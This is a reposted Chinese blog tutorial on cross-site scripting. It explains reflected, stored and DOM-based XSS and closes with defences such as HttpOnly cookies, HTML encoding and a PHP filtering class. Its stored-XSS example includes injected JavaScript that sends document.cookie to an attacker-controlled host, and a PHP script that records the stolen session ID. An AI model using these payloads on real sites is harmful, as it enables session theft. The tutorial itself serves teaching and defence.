XSS跨站脚本攻击

XSS跨站脚本攻击

转载;https://www.cnblogs.com/phpstudy2015-6/p/6767032.html#_labelTop

1、简介

跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。

XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。

从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

XSS攻击的危害包括:

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

 

2、原因解析

主要原因:过于信任客户端提交的数据!

解决办法:不信任任何客户端提交的数据,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。

进一步分析细节:

  客户端提交的数据本来就是应用所需要的,但是恶意攻击者利用网站对客户端提交数据的信任,在数据中插入一些符号以及javascript代码,那么这些数据将会成为应用代码中的一部分了。那么攻击者就可以肆无忌惮地展开攻击啦。

  因此我们绝不可以信任任何客户端提交的数据!!!

 

3、XSS攻击分类

【了解即可,不必细究,XSS根源就是没完全过滤客户端提交的数据】

  3.1、反射型xss攻击

  又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

简单例子

正常发送消息:

http://www.test.com/message.php?send=Hello,World!

接收者将会接收信息并显示Hello,Word

非正常发送消息:

http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>!

接收者接收消息显示的时候将会弹出警告窗口

  3.2、存贮型xss攻击

  又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

简单例子:

从名字就可了解到存储型XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。例如留言板

留言板表单中的表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>

正常操作:

用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。

非正常操作:

攻击者在value填写<script>alert(‘foolish!’)</script>【或者html其他标签(破坏样式。。。)、一段攻击型代码】;

将数据存储到数据库中;

其他用户取出数据显示的时候,将会执行这些攻击性代码

  3.3、DOMBasedXSS(基于dom的跨站点脚本攻击)

  基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。

  通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。

  前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。

简单例子

 1 <HTML>  2 <TITLE>Welcome!</TITLE>  3 Hi  4 <SCRIPT>  5 var pos=document.URL.indexOf("name=")+5;  6 document.write(document.URL.substring(pos,document.URL.length));  7 </SCRIPT>  8 <BR>  9 Welcome to our system 10 11 </HTML>

这个例子是个欢迎页面,name是截取URL中get过来的name参数

正常操作:

http://www.vulnerable.site/welcome.html?name=Joe

非正常操作:

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

  将产生xss条件。让我们看看为什么:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

注意:

  1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。

  2.这个攻击只有在浏览器没有修改URL字符时起作用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。

  当然,直接嵌入到HTML只是攻击的一个挂载点,有很多脚本不需要依赖<和>漏洞,因此Mozilla通常也是无法阻止这些攻击的。

【这段出自:http://www.oschina.net/translate/dom-based-xss-of-third-kind

 

4、XSS攻击实例分析

  例1、简单XSS攻击

留言类,简单注入javascript

有个表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>

1、假若用户填写数据为:<script>alert(‘foolish!’)</script>(或者<script type=”text/javascript” src=”./xss.js”></script>)

2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库

3、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。

【将数据改成html标签进行攻击,则会将原本的样式打乱。。。。。。。。】

  例2、盗取cookie

1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com

2、test88.com中的表单,xss.html

 1 <!DOCTYPE html>  2 <html>  3 <head>  4 <title>xss攻击</title>  5 <meta charset="utf-8">  6 </head>  7 <body>  8  9 <form action="./test99.php" method="post"> 10 留言:<input type="text" name="content" value=""><br/> 11 <input type="submit" name="" value='提交'> 12 </form> 13 <br/>留言记录:<br/> 14 </body> 15 </html>

3、恶意攻击者插入相应代码

1 <script>
2 var Str=document.cookie; //获取cookie 3 var a =document.createElement('a'); //创建a标签 4 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机 5 a.innerHTML="<img src='./aa.jpg'>"; //掩护图片 6 document.body.appendChild(a); //将标签添加到页面中 7 </script>

4、数据(攻击代码)插入数据库

5、攻击者控制的主机中设置接收盗取的cookie

1 <?php 2 header("content-type:text/html;charset=utf8"); 3 echo "你的PHPSESSID被盗啦"; 4 echo "<pre>"; 5 print_r($_GET); 6 echo "</pre>"; 7 $cookie=$_GET['PHPSESSID']; 8 file_put_contents('./xss.txt', $cookie); 9 ?> 

开始模拟测试

1、test88.com中设置生成sessionID代码

1 <?php 2 session_start(); 3 $_SESSION['xss']='xssssss'; 4 echo "<pre>"; 5 print_r($_SESSION); 6 echo "</pre>";die; 7 ?> 

2、客户端访问上面代码并生成自己的sessionID

XSS跨站脚本攻击

3、客户端访问xss.html

#下面为模拟被攻击后取出数据的xss.html代码(显示数据)

 1 <!DOCTYPE html>  2 <html>  3 <head>  4 <title>xss攻击</title>  5 <meta charset="utf-8">  6 </head>  7 <body>  8 <form action="./test99.php" method="post">  9 留言:<input type="text" name="content" value=""><br/> 10 <input type="submit" name="" value='提交'> 11 </form> 12 <br/>留言记录:<br/> 13 <script> 14 var Str=document.cookie; //获取cookie 15 var a =document.createElement('a'); //创建a标签 16 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机 17 a.innerHTML="<img src='./aa.jpg'>"; //掩护图片 18 document.body.appendChild(a); //将标签添加到页面中 19 </script> 20 </body> 21 </html>
 

 

XSS跨站脚本攻击

4、客户端不小心点击到图片,sessionID将被盗

XSS跨站脚本攻击

# vi xss.txt

 

XSS跨站脚本攻击

【当然这仅仅只是一个很简单的攻击,只要将数据过滤就可以避免这个攻击了,这里只是让大家了解XSS是如何进行攻击的。】

5、XSS漏洞修复

从上面XSS实例以及之前文章的介绍我们知道XSS漏洞的起因就是没有对用户提交的数据进行严格的过滤处理。因此在思考解决XSS漏洞的时候,我们应该重点把握如何才能更好的将用户提交的数据进行安全过滤。

  5.1、html实体

什么是html实体?

  在html中有些字符,像(<)这类的,对HTML(标准通用标记语言下的一个应用)来说是有特殊意义的,所以这些字符是不允许在文本中使用的。要在HTML中显示(<)这个字符,我们就必须使用实体字符。

  html实体的存在是导致XSS漏洞的主要原因之一。

  因此我们需要将这些实体全部转换为相应的实体编号。

显示结果

描述

实体名称

 

空格

&nbsp;

小于号

&lt;

大于号

&gt;

&

和号

&amp;

引号

&quot;

撇号 

&apos; (IE不支持)

  5.2、HTML Encode

用户将数据提交上来的时候进行HTML编码,将相应的符号转换为实体名称再进行下一步的处理。

在PHP中已经存在这样子功能的函数,即是htmlentities($str)函数。

与之相反的就是html_entity_decode($str)函数,它将实体名称转换为相应的符号。

  5.3、修复漏洞方针

【不相应用户提交的数据,过滤过滤过滤!

1、将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.

2、表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。。。。

4、对数据进行Html Encode 处理

5、过滤或移除特殊的Html标签, 例如: <script>, <iframe> , &lt; for <, &gt; for >, &quot for

6、过滤JavaScript 事件的标签。例如 “οnclick=”, “onfocus” 等等。

【特别注意:】

在有些应用中是允许html标签出现的,甚至是javascript代码出现。因此我们在过滤数据的时候需要仔细分析哪些数据是有特殊要求(例如输出需要html代码、javascript代码拼接、或者此表单直接允许使用等等),然后区别处理!

  5.4、PHP中的相应函数

【详细看PHP手册】

这里可能不全,想了解更多的看手册。

strip_tags($str, [允许标签])  #从字符串中去除 HTML 和 PHP 标记

htmlentities($str)函数    #转义html实体

html_entity_decode($str)函数    #反转义html实体

addcslashes($str, ‘字符’)函数     #给某些字符加上反斜杠

stripcslashes($str)函数          #去掉反斜杠

addslashes ($str )函数          #单引号、双引号、反斜线与 NULL加反斜杠

stripslashes($str)函数           #去掉反斜杠

htmlspecialchars()              #特殊字符转换为HTML实体

htmlspecialchars_decode()       #将特殊的 HTML 实体转换回普通字符

  5.5、数据过滤类

 
 1 <?php  2 class XSS  3 {  4 /**  5  * @desc 过滤数据  6  *  7  * @param $data string|array 输入数据  8  * @param $low bool 是否采用更为严格的过滤  9  * 10  * @return 返回过滤的数据 11 */ 12 public function clean_xss($data, $low = False) 13  { 14 #字符串过滤 15 if (! is_array ( $data )) 16  { 17 $data = trim ( $data ); #字符两边的处理 18 $data = strip_tags ( $data ); #从字符串中去除 HTML 和 PHP 标记 19 $data = htmlspecialchars ( $data ); #特殊字符转换为HTML实体 20 if ($low) 21  { 22 return $data; 23  } 24 #匹配换空格 25 $data = str_replace ( array ('"', "\\", "'", "/", "..", "../", "./", "//" ), '', $data ); 26 $no = '/%0[0-8bcef]/'; 27 $data = preg_replace ( $no, '', $data ); 28 $no = '/%1[0-9a-f]/'; 29 $data = preg_replace ( $no, '', $data ); 30 $no = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S'; 31 $data = preg_replace ( $no, '', $data ); 32 return $data; 33  } 34 #数组过滤 35 $arr=array(); 36 foreach ($data as $k => $v) 37  { 38 $temp=$this->clean_xss($v); 39 $arr[$k]=$temp; 40  } 41 return $arr; 42  } 43 44 45 } 46 #测试测试 47 session_start(); 48 $_SESSION['xss']='xssss'; 49 $xss=new XSS(); 50 #测试字符串 51 $str = "<script>alert(document.cookie)</script>"; 52 echo $str; 53 $str2=$xss->clean_xss($str); 54 echo $str2; 55 echo "<hr/>"; 56 #测试数组 57 $arr=array("<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>"); 58 echo "<pre>"; 59 print_r($arr); 60 echo "</pre>"; 61 $arr2=$xss->clean_xss($arr); 62 echo "<pre>"; 63 print_r($arr2); 64 echo "</pre>";die; 65 ?>
 

  

(以上是自己的一些见解与总结,若有不足或者错误的地方请各位指出)

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/112586.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • java大数据开发需要掌握什么_大数据要学java吗

    java大数据开发需要掌握什么_大数据要学java吗​​​​​​你想过自己的未来规划吗?java大数据程序员只需要学到技术就行吗?1.如何成为大数据工程师Java开发是IT行业的经典岗位,行业当中存在普遍的需求,Web开发、Android开发、游戏开发等基本上Java语言是主力队伍。而进入大数据时代,Java又在大数据方向上有了用武之地,又该如何进行成长路线规划。在Java程序界流行着一种默认的说法叫黄金5年,也就是一个程序员从入职的时候开始算起,前五年的选择直接影响着整个职业生涯中的职业发展方向和薪资走向。2014年8月,阿里巴巴举办了

    2022年10月19日
  • pycharm安装matplotlib 遇到的问题

    pycharm安装matplotlib 遇到的问题pycharm安装matplotlib遇到的问题打入命令安装。pipinstallmatplotlib安装到一半时报错。提示说得先升级pip版本。然而升级pip又报错。。。。跑去pychram,setting里面更新pip,成功后,再次安装matplotlib,又提示失败,需要升级pip,再次打入升级pip成功后,再安装matplotlib,又是失败。。。。。。服了找到的其它方法:直接去官方下载文件,https://www.lfd.uci.edu/~gohlke/pyt

  • vue页面缓存问题_vue项目自动打开浏览器设置

    vue页面缓存问题_vue项目自动打开浏览器设置目录1.什么是浏览器缓存2.浏览器缓存类型:3.浏览器缓存的优势与劣势:4.浏览器缓存机制5.如何清除浏览器缓存在代码更新发布后,都会要求运营人员在访问网址时清除下本地缓存,防止万一掉坑那问题就来了:每次清缓存很麻烦,怎样就不需要他们每次去手动清缓存呢?1.什么是浏览器缓存浏览器缓存(BrowserCaching)是为了节约网络的资源加速浏览,浏览器在用户磁盘上对最近请求过的文档进行存储,当访问者再次请求这个页面时,浏览器就可以从本地磁盘显示文档,这样就可以加速页

    2022年10月20日
  • python爬取豆瓣电影榜单

    python爬取豆瓣电影榜单python爬取豆瓣电影榜单python爬取豆瓣电影榜单并保存到本地excel中,以后就不愁没片看了。目标确定我们想要抓取的电影的相关内容。抓取豆瓣top250电影的排名、电影名、评价(总结很到位)、评分、点评人数及电影的豆瓣页面。抓取各种电影类型的排行榜前100。编码省略需求到编码中间的繁文缛节,直接上手编码。(此处是最终编码)目标一使用BeautifulSoup解析页面查找元素。目标二调用接口处理返回的json数据。importrequestsimportopenpyx

  • SpringBoot面试题整理,常问SpringBoot面试题汇总(2020版)

    SpringBoot面试题整理,常问SpringBoot面试题汇总(2020版)找工作的历程太艰难,面试的过程很心烦,在没着落的每一天,心情都不太美妙,这时的我们唯一能做的就是多总结,多做准备,这样,起码心里会好受些!所以我准备了一点SpringBoot的面试题,为还正在找工作的小伙伴多增加些成功的筹码!1、什么是SpringBoot?SpringBoot是Spring开源组织下的子项目,是Spring组件一站式解决方案,主要是简化了使用Spring的难度,简省了繁重的配置,提供了各种启动器,开发者能快速上手。2、SpringBoot有哪些优点?.

  • 【转载】TCP粘包问题分析和解决(全)

    【转载】TCP粘包问题分析和解决(全)

    2021年11月18日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号